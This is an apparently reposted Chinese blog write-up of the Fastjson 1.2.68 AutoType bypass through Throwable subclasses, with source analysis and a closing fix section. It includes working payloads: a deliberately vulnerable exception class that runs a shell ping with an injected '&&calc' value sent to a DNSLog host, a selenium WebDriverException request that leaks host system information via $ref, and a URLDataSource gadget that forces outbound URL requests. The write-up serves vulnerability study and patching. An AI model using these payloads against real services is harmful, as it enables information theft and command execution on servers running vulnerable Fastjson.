Fastjson 1.2.68版本Autotype绕过技巧

影响范围

Fastjson  1.2.68

漏洞类型

  • Fastjson 1.2.68 AutoType Bypass(通过异常类)
  • org.openqa.selenium + Fastjson可造成信息泄露
  • 绕过类对象的访问

利用条件

Gadget必须继承自 Throwable 异常类

漏洞概述

该漏洞和以往的 AutoType Bypass不同,要求 Gadget必须继承自 Throwable 异常类,所以常见的 JNDI Gadget无法在此处使用,只能寻找在异常类中的构造方法、set方法、get方法、toString等方法内的敏感操作才会触发漏洞,由于异常类中很少使用高危函数,所以我目前还没有找到可以 RCE 的 Gadget,只找到了几个非 RCE 的 gadget~

漏洞分析

Fastjson反序列化时,如果遇到@type指定的类为Throwable 的子类,会调用反序列化处理类ThrowableDeserializer:

fastjson-1.2.68\src\main\java\com\alibaba\fastjson\parser\ParserConfig.java

而该漏洞的触发点就位于ThrowableDeserializer,下面跟进ThrowableDeserializer来查看一下其deserialze函数:  

fastjson-1.2.68\src\main\java\com\alibaba\fastjson\parser\deserializer\ThrowableDeserializer.java

如上所示,当第二个字段的 key 也是 @type 的时候,则会取 value 当做类名做一次 checkAutoType 检测,在调用 ParserConfig#checkAutoType 时指定的第二个参数expectClass 为 Throwable.class 类对象,该参数通常情况下这个参数都是 null,而checkAutoType 一般有以下几种情况会通过校验:

  1. 白名单里的类
  2. 开启了 autotype
  3. 使用了 JSONType 注解
  4. 指定了期望类(expectClass)
  5. 缓存 mapping 中的类

本次的这个漏洞正是基于第四种,即指定了期望类的情况,在ParserConfig.AutoTypeCheck中判断了如果期望类不为空且反序列化目标类继承自期望类就会添加到缓存mapping并且返回这个class,我们可以借此来绕过AutoType的检测:

fastjson-1.2.68\src\main\java\com\alibaba\fastjson\parser\ParserConfig.java

在ThrowableDeserializer中AutoType检测通过后就会开始实例化异常类对象:

fastjson-1.2.68\src\main\java\com\alibaba\fastjson\parser\deserializer\ThrowableDeserializer.java

如上所示,可以看到此处也会将 message 和cause传递给ThrowableDeserializer#createException处理,下面跟进createException函数查看其逻辑,在该函数中中,会依次按照以下顺序对构造方法进行实例化:

  • 如果无参则构造无参构造方法
  • 如果只有一个参数,且参数类型为String.class就构造一个参数类型为String.class的构造方法
  • 如果参数有两个且参数1类型为String.class且参数2类型为Throwable.class即构造两个参数的构造方法

fastjson-1.2.68\src\main\java\com\alibaba\fastjson\parser\deserializer\ThrowableDeserializer.java

之后返回上一步,继续跟进deserialze函数的后续代码,可以看到在最后会为被实例化后的异常类装配属性:

在装配属性的过程中,会遍历otherValues ,并根据key去调用异常类的set 方法,此处的otherValue 即为当前 jsonobject 对象中除了@type、message、cause、stackTrace 以外的其他字段,例如@type的类是 java.lang.Exception,otherValues 的第一条是 "msg"=>"hello", 那么这里就会先去实例化 Exception 对象,再去调用 exception.setMsg("hello"),这里也是 set 触发的地方,而get方法的触发则是在 JSON 转 JSONObject 的时候被调用,不过在这里我们也可以通过$ref 字段借助JSONPath去访问get方法~  

漏洞产生的原因分析完了,下面就是如何去寻找合适的 gadget 触发漏洞了,在这里先自我写一个存在问题的异常类,去验证一下问题的存在与否:  

SimpleException.java

package com.FastJson1242;

import java.io.IOException;

public class SimpleException extends Exception {
    private String domain;

    public SimpleException() {
        super();
    }

    public String getDomain() {
        return domain;
    }

    public void setDomain(String domain) {
        this.domain = domain;
    }

    @Override
    public String getMessage() {
        try {
            Runtime.getRuntime().exec("cmd /c ping "+domain);
        } catch (IOException e) {
            return e.getMessage();
        }

        return super.getMessage();
    }
}

SimpleTest.java

package com.FastJson1242;

import com.alibaba.fastjson.JSONObject;

public class SimpleTest {
    public static void main(String[] args) {
        String payload ="{\"@type\":\"java.lang.Exception\", " +
                "\"@type\":\"com.FastJson1242.SimpleException\",\"domain\":\"urx30i.dnslog.cn&&calc\"}";
        JSONObject.parseObject(payload);
    }
}

之后运行SimpleTest.java做一个简易测试:

DNSLog回显:

这只是用来做测试的,在真实场景中很少有人会把执行命令的方法写进异常类~

漏洞的披露者找到了 selenium 的一个敏感信息泄露,selenium 一般用来操控浏览器进行爬虫,在很多基于浏览器操作的爬虫项目里都会使用到 selenium,如果同时也使用了fastjson ,就会存在敏感信息泄露的问题~

org.openqa.selenium.WebDriverException 会输出:主机IP、主机名、系统名、系统架构、操作系统版本、java版本、Selenium版本、webdriver驱动版本等等一系列信息,同时由于是异常类,父类的getStackTrace() 也会被调用,会输出当前方法栈信息,可从中看出使用了什么框架~

漏洞复现

下载漏洞披露者提供的测试Demo并用IDEA打开进行部署:https://github.com/iSafeBlue/fastjson-autotype-bypass-demo

之后在浏览器中访问该项目:

之后随意留言,同时使用burpsuite抓包:

修改请求数据包为以下JSON Payload,之后重放请求来获取敏感信息:

{
    "name":"Al1ex",
    "email":"[email protected]",
    "content":{"$ref":"$x.systemInformation"},
    "x":{"@type":"java.lang.Exception","@type":"org.openqa.selenium.WebDriverException"}
}

在浏览器页面回显:

在这里使用到了 $ref 字段来调用异常类对象的 getSystemInformation 方法并把值引用到 content 字段,所以留言内容输出的就是当前系统的敏感信息了~

除此之外其实还可以有其他用途,例如可以绕过类对象的访问,例如,某个异常类的get方法返回的对象类型是DataSource,这个类型肯定是不允许被反序列化的,但它在异常类中被传来的允许被反序列化的类对象构造成了一个DataSource对象,当再去调用get方法访问这个DataSource的时候,fastjson就管不着了,这种例子在apache abdera的一个异常类中出现过:

https://github.com/apache/abdera/blob/43fae3a0bb450895042bf0825f11fbf39832e830/server/src/main/java/org/apache/abdera/server/exceptions/AbderaServerException.java

下面为一个缩写版本,用于本次测试:

package com.FastJson1242;
import javax.activation.URLDataSource;
import javax.activation.DataSource;
import java.net.URL;

public class DataSourceException extends Exception {

        public DataSourceException() {

        }

        private DataSource dataSource;

        public DataSource getDataSource() {
            return dataSource;
        }

        public void setDataSource(URL url) {
            this.dataSource = new URLDataSource(url);
        }
}

在这个异常类中,setDataSource的参数是 URL 类型,在Fastjons中是允许被反序列化的,也就是说可以通过调用setDataSource方法,并且实例化URLDataSource对象,然后即可通过JSONPath的功能再去调用他的getDataSource().getInputStream(),这样就会触发 URL连接请求:

package com.FastJson1242;

import com.alibaba.fastjson.JSONObject;

public class SimpleTest {
    public static void main(String[] args) {
        String payload ="{\"@type\":\"java.lang.Exception\",\"@type\":\"com.FastJson1242.DataSourceException\"," +
                "\"dataSource\":{\"@type\":\"java.net.URL\",\"val\":\"http://127.0.0.1:1234\"}}";
        JSONObject.parseObject(payload);
    }
}

运行之后:

修复方案

开启 safeMode

ParserConfig.getGlobalInstance().setSafeMode(true);

添加黑名单

ParserConfig.getGlobalInstance().addDeny("org.openqa.selenium");

猜你喜欢

转载自blog.csdn.net/Fly_hps/article/details/118346037